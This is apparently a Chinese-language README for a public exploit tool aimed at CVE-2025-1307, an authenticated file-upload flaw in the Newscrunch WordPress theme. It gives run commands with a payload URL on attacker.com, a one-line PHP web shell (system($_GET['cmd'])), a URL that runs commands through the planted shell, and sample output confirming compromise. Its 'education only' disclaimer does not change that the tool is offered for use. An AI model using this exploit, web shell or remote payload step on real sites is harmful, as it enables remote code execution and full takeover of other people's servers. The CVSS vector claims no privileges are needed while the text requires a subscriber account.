
Newscrunch <= 1.8.4 - 需认证(订阅者+)任意文件上传
该漏洞利用针对 Newscrunch WordPress 主题中的一个严重漏洞(CVE-2025-1307)。由于 newscrunch_install_and_activate_plugin() 函数缺少权限检查,该缺陷允许已认证用户(订阅者及以上)上传任意文件。这可能导致远程代码执行 (RCE),从而完全入侵受影响的 WordPress 站点。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H可利用性: 需要一个具备订阅者权限或更高权限的有效 WordPress 账户。
✅ 自动利用 CVE-2025-1307
✅ 自动检测易受攻击的主题版本
✅ 自动提取并执行 ZIP 载荷
✅ 从 ZIP 中动态获取 shell 文件名
✅ 利用后自动检查 shell 可用性
✅ 清晰且结构化的日志记录,便于调试
确保已安装 Python 3.x,并安装所需的依赖:
pip install requests urllib3 packaging
python CVE-2025-1307.py -u "http://target" -un "admin" -p "password" -pl "http://attacker.com/malicious.zip"
Exploit for CVE-2025-1307 in WordPress Newscrunch Theme By Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u URL, --url URL Target WordPress URL (e.g., https://example.com)
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-pl PAYLOAD_URL, --payload_url PAYLOAD_URL
Malicious file URL to upload
shell 成功上传后,即可在目标系统上执行远程命令。shell 文件应放置在 ZIP 压缩包内,利用时会被自动提取。
确保你的 PHP shell (shell.php) 位于 ZIP 压缩包内。然后,使用该漏洞利用上传 ZIP 文件。
<?php system($_GET['cmd']); ?>
你可以通过浏览器访问 shell URL 并附加 cmd 参数来执行系统命令:
http://target/wp-content/plugins/shell.php?cmd=whoami
[+] Newscrunch theme version detected: 1.8.4
[+] Exploitation is possible, proceeding...
[*] Logging in...
[+] Logged in successfully.
[*] Uploading and extracting payload...
[+] Exploit executed successfully. Malicious file uploaded.
[*] Checking if shell is accessible: http://target/wp-content/plugins/U.php
[+] Shell successfully uploaded and accessible: http://target/wp-content/plugins/U.php?cmd=ls
此工具仅供教育和安全研究目的使用。未经授权利用漏洞属于违法行为,将受到法律制裁。作者不对因使用此工具造成的任何误用或损害负责。请负责任地使用。
作者:Nxploit | Khaled Alenazi